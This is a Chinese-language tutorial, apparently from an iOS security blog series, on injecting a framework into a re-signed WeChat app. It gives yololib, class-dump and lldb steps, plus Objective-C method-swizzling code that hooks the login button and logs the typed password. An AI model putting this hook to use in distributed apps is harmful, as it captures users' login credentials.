iOS應用安全4 -- 代碼注入,竊取微信登陸密碼

前言

上篇文章講述了Apple公司雙重簽名機制的原理,而且針對這個原理咱們又學到了一種將別人的.ipa包修改Bundle ID後運行在咱們手機的方法------重簽名。
說白了重簽名爲的是什麼?就是爲了能讓咱們修改了App的邏輯以後還能正常安裝到手機而且調試運行,那麼接下來這篇文章就是講述如何去修改App原有的代碼邏輯。
注意喲,本篇文章須要具有一些簡單的runtime知識。git

代碼注入

代碼注入目前主要是經過framework注入,本次咱們使用的就是framework注入的方式進行講解。固然也可使用靜態庫Static Library進行代碼注入,只不過過程上要較爲複雜一些。github

代碼注入是在重簽名的基礎上進行的,因此先按照上篇文章寫的將App進行重簽名,建議使用腳本重簽名,使用簡單,不易出錯。xcode

新建framework

按照Targets---> + --->framework新建一個framework,名字隨便起,筆者這裏已經建立好了,名字起的是HYHook.framework。 bash

new framework

直接編譯一遍

建立好了framework以後直接編譯一遍,
而後查看Products--->代碼注入.app--->Frameworks文件夾,是否是發現咱們剛剛建立的framework已經添加到Frameworks文件夾裏面了。是否是很神奇?這也是爲何咱們要使用framework進行代碼注入的緣由之一。 服務器

HYHook

如何讓App去加載咱們添加的framework?

App在運行的時候可以執行到如下3個地方的代碼:微信

  1. 系統庫。非越獄手機是沒法修改的。
  2. MachO二進制文件。能夠修改,可是咱們須要使用二進制去修改,要求較高。
  3. framework庫。

在剛剛咱們已經將framework添加到了Frameworks文件夾下,可是注意,這並不表明着這個framework已經能夠用了。使用MachOView查看App的MachO文件以下。由於MachO文件的二進制數據的排列是有規律的,因此這裏咱們就可使用MachOView來將MachO二進制文件破解出某些信息,在界面上展現出來。 網絡

MachOView
上圖中MachO文件破解後有個 Load Commands項,這一項中表示了在MachO執行的時候須要加載的資源文件,而下面圈起來的部分就是須要加載的代碼庫,咱們查看這些庫能夠發現這裏面是沒有咱們剛剛新建的framework的。

也就是說,咱們剛剛新建了一個framework,而且也添加到了Frameworks文件夾裏面,可是在執行MachO文件的時候並不會將這個framework加載到內存中,所以也就仍是沒法調用。此時咱們就須要另一個工具yololib了,這是一個命令行工具,安裝後在重簽名腳本最後添加下面一行腳本便可修改MachO文件,在執行的時候加載咱們的framework。HYHook是我剛剛建立的framework的名稱,須要修改爲大家本身建立的framework名稱。app

yololib "$TARGET_APP_PATH/$APP_BINARY" "Frameworks/HYHook.framework/HYHook"
複製代碼

注意:若是隻是重簽名上面那行命令不要添加,在代碼注入的時候再添加,而且framework名字要與建立的framework相同。編輯器

注入代碼

目前咱們已經將本身建立的framework添加到了Frameworks文件夾裏面,而且如今MachO文件在執行的時候也會將這個framework加載到內存中。那麼接下來咱們就要開始讓framework作點事情了。
一、建立一個類,名字隨便,我這裏叫HYHookLogin,由於後面要使用這個類去獲取微信的登陸密碼。
二、在.m中實現這個類的load方法,代碼以下:ide

+ (void)load {
    NSLog(@"這是注入的代碼打印出來的😂😂😂😂");
}
複製代碼

三、運行代碼,能夠看到這句話已經打印出來了,說明咱們注入的代碼執行了。

注入成功

獲取微信登陸密碼

咱們已經知道如何讓App執行添加的framework代碼了,不過那些都不是重點,真正的重點從這裏開始。

黑魔法 Method Swizzling

相信不少童鞋在這以前應該都多多少少了解過iOS的黑魔法Method Swizzling,不瞭解也不要緊,如今就來說講這個黑魔法。
講以前我默認你知道SEL和IMP對於方法來講所表示的意義。再說一下吧

  • SEL:至關於一本書的目錄,我能夠經過這個目錄找到IMP。
  • IMP:至關於真正要找到,要使用的東西。

簡而言之,經過SEL能夠找到方法實現的地址,而IMP就是方法的實現地址。
他倆的關係是一一對應的,盜一張圖😁

SEL---IMP

而咱們的黑魔法看着他們一一對應很不爽,因而就有了下面這樣👌

交換
也就是說,黑魔法將兩個方法的方法實現進行了交換。這樣,調用方法2的時候實質上會執行方法3的代碼,調用方法3的時候實質上會執行方法2的代碼,這就是咱們說的黑魔法。

動態調試

動態調試,聽名字感受很高大上,其實就是在App運行期間進行lldb調試。這裏咱們依然以微信做爲學習軟件。

  1. 運行項目,此時xcode會將重簽名的微信安裝到手機並打開。
  2. 點擊登陸進入登陸頁面,點擊用微信號/QQ號/郵箱登陸,此時咱們就會進入到帳號密碼輸入界面。
  3. 在xcode上點擊Debug View Hierarchy,不知道哪個?看下面。
    view debug
  4. 此時咱們就能夠看到微信登陸界面上各個控件的層級關係和信息。
    控件
  5. 點擊上面的登陸按鈕(能夠把視圖稍微斜一點,容易點到一些)。
    信息
  6. 此時咱們能夠看到這個按鈕的Target和Action,是否是想起這個了?
[btn addTarget:self action:@selector(xxx) forControlEvents:UIControlEventTouchUpInside];
複製代碼

這時候就能夠猜想,點擊登陸按鈕的時候控制器WCAccountMainLoginViewController對象就會調用onNext方法,可是如今咱們如何肯定這個onNext方法是對象方法仍是類方法呢?

靜態分析

上面的動態調試讓咱們猜想到點擊登陸按鈕會調用onNext方法,那麼這個靜態分析就是來輔助驗證咱們猜想的。
這裏還要使用到一個工具class-dump,一樣也是一個命令行工具,爲了讓這些工具在哪都能使用,咱們能夠把他們的可執行文件放到/usr/local/bin目錄下。
class-dump的做用就是能夠反編譯App的MachO文件,將裏面類的屬性/成員變量和方法聲明進行導出,便於查看。

// 使用如下命令將WeChat的MachO文件的頭文件導出到Header文件夾
class-dump -H WeChat -o Header
複製代碼

另外,再介紹一個工具sublime Text,這個工具是一個輕量級的編輯器,擁有xcode全局搜索同樣的功能,咱們能夠用它打開class-dump導出的頭文件文件夾,快速搜索咱們須要的東西。

是否是有疑問:爲何不直接使用xcode呢?

像咱們使用的這個微信,導出的頭文件有10000多個。筆者試過,將這些文件往xcode工程中一拖,xcode立馬卡死,強制退出點了3次才退掉。sublime Text的有點就是它是輕量級的,加載10000多個頭文件輕輕鬆鬆,同時也能快速的全局搜索。(具體用不用根據本身須要吧😄)

接下來全局搜索咱們想要的東西吧!

  1. 使用sublime Text打開咱們導出的Header文件夾,以下:
    頭文件
  2. command + shift + f打開全局搜索,輸入@interface WCAccountMainLoginViewController進行搜索。
    搜索
  3. 雙擊咱們搜索到的文件,跳轉到指定文件內,能夠發現這裏面基本上有這個類中全部屬性和方法的聲明,咱們要驗證的onNext方法也在其中。
    onNext

獲取密碼

經過上面的動態調試和靜態分析,咱們已經基本能夠肯定onNext方法就是點擊登陸時要執行的方法,那麼如今就該想一想咱們要如何獲取登陸密碼?

  1. 在View Debug視圖中點擊密碼輸入框,能夠看到密碼輸入框是一個WCUITextField類型的對象。
    密碼
  2. 而後咱們再到剛剛搜索出來的WCAccountMainLoginViewController.h文件中找,看看有沒有WCUITextField類型的對象。很遺憾,沒找到。雖然沒找到,可是咱們貌似發現來兩個可疑對象?(因而可知代碼混淆有多重要)
    可疑
  3. 找到了可疑對象,咱們就根據線索往深處查,全局搜索@interface WCAccountTextFieldItem,找到了,可是發現什麼也沒有。
    沒有
  4. 別灰心,這傢伙不是還繼承了WCBaseTextFieldItem嗎?繼續沿着線索查,全局搜索@interface WCBaseTextFieldItem。哈哈,發現了什麼?一個WCUITextField類型的變量。
    發現
  5. 找到了這個很可疑的對象了,如今咱們99%的肯定這傢伙就是咱們要找的密碼輸入框,可是彆着急寫代碼破解,以避免寫完了發現這實際上是那1%,哈哈。因此要再進行一步驗證,讓這個概率達到100%。
  6. 100%驗證。關掉View Debug,在輸入框裏隨便輸入帳號密碼,再打開View Debug,而且選中控制器對象,以下:
    控制器
  7. 而後使用lldb進行調試,來驗證咱們那個99%的猜想。經過驗證,徹底和咱們猜想的同樣,100%確定了。
    100%

代碼實現

咱們找到了登陸按鈕的點擊事件方法- (void)onNext;密碼的輸入框對象_textFieldUserPwdItem。那麼下面就是須要咱們使用代碼獲取微信登陸密碼的時刻了。

  1. HYHookLogin類中導入#import <objc/runtime.h>而且定義方法- (void)new_onNext;重寫HYHookLogin類的+ (void)load;方法。
+ (void)load {
    
}

- (void)new_onNext {
    
}
複製代碼
  1. load方法中使用上面說的黑魔法將WCAccountMainLoginViewController類中的onNext方法和HYHookLogin類中的new_onNext方法的實現進行交換。代碼以下:
+ (void)load {
    // 獲取Method對象
    Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
    Method new_onNext = class_getInstanceMethod(self, @selector(new_onNext));
    // 交換方法
    method_exchangeImplementations(onNext, new_onNext);
}

- (void)new_onNext {
    UITextField *pwdTF = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@"竊取到的密碼是:%@", pwdTF.text);
    
    // 爲了避免改變本來的登陸邏輯,這裏須要調用微信本來的onNext方法實現
    // 但因爲new_onNext的方法實現已經與onNext方法實現進行了交換,因此須要[self new_onNext]調用,並不會遞歸。
    [self new_onNext];
}
複製代碼
  1. 滿心歡喜的運行,結果崩潰了。緣由就是WCAccountMainLoginViewController類中是沒有new_onNext方法的聲明的。找不到這個方法的SEL。
    崩潰
  2. 最後的問題就是要解決這個崩潰了,這裏再也不過多的敘述,我直接把解決這個崩潰問題的三種方法貼出來,讀者能夠根據代碼分析其中的邏輯和各類方法的優缺點。
+(void)load {
// // 第1種方法
// // 獲取Method對象
// Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
// // 給WCAccountMainLoginViewController添加方法,爲了解決[self new_onNext]調用崩潰的問題
// class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), class_getMethodImplementation(self, @selector(new_onNext)), "v@:");
// // 交換方法
// method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));


// // 第2種方法
// Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
// /*
// 方法替換,參數說明
// 一、將要被替換的方法在哪一個類
// 二、將要被替換的方法在類中的SEL
// 三、替換方法的具體實現
// 四、方法標識,返回值類型v == void,發送消息的對象的類型@ == id,消息的SEL == :
// 返回的是被替換方法的IMP,類型是IMP IMP == void(*)(void) 類型,此時可強轉爲void(*)(id, SEL)類型
// */
// old_onNext = (void(*)(id, SEL))class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), class_getMethodImplementation(self, @selector(new_onNext)), "v@:");


    // 第3種方法
    Method onNext = class_getInstanceMethod(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
    // 獲取老onNext方法的IMP
    old_onNext = (void(*)(id, SEL))class_getMethodImplementation(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
    // 獲取新onNext方法的IMP
    IMP new_onNext = class_getMethodImplementation(self, @selector(new_onNext));
    // 修改onNext方法的IMP爲new_onNext
    method_setImplementation(onNext, new_onNext);

}

// 用來接收老的onNext方法的地址 顯式聲明old_onNext是一個函數指針變量,第2,3種方法須要這個。
void (*old_onNext)(id self, SEL _cmd);

- (void)new_onNext {
    NSLog(@"點擊了登陸按鈕");
    UITextField *pwdTF = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@"竊取到的密碼是:%@", pwdTF.text);
// // 第1種方法
// [self new_onNext]; // 由於WCAccountMainLoginViewController類沒有這個方法,直接調用會找不到,崩潰

// // 第2種方法
// old_onNext(self, _cmd);

    // 第3種方法
    old_onNext(self, _cmd);
}
複製代碼

其實這三種方法解決崩潰的原理上大同小異,就看讀者你喜歡用哪一種方法了。

總結

這篇文章講述瞭如何經過framework進行代碼注入,而且在此基礎上一步步逆向分析出微信的登陸密碼如何竊取。之因此用竊取這個詞,就是由於在用戶層上,並無改變微信本來的登陸請求,只是在登陸以前添加了一點點東西用來竊取用戶輸入的密碼。

用紅色文字提示用戶: 沒事千萬別把手機越獄,使用別人開發的插件,極可能別人的插件就有這個獲取密碼的功能,而後經過網絡請求將你的密碼上傳到某個服務器上,諷刺的是這個帳號密碼仍是你本身輸入給人家的😂😂😂

相關文章
相關標籤/搜索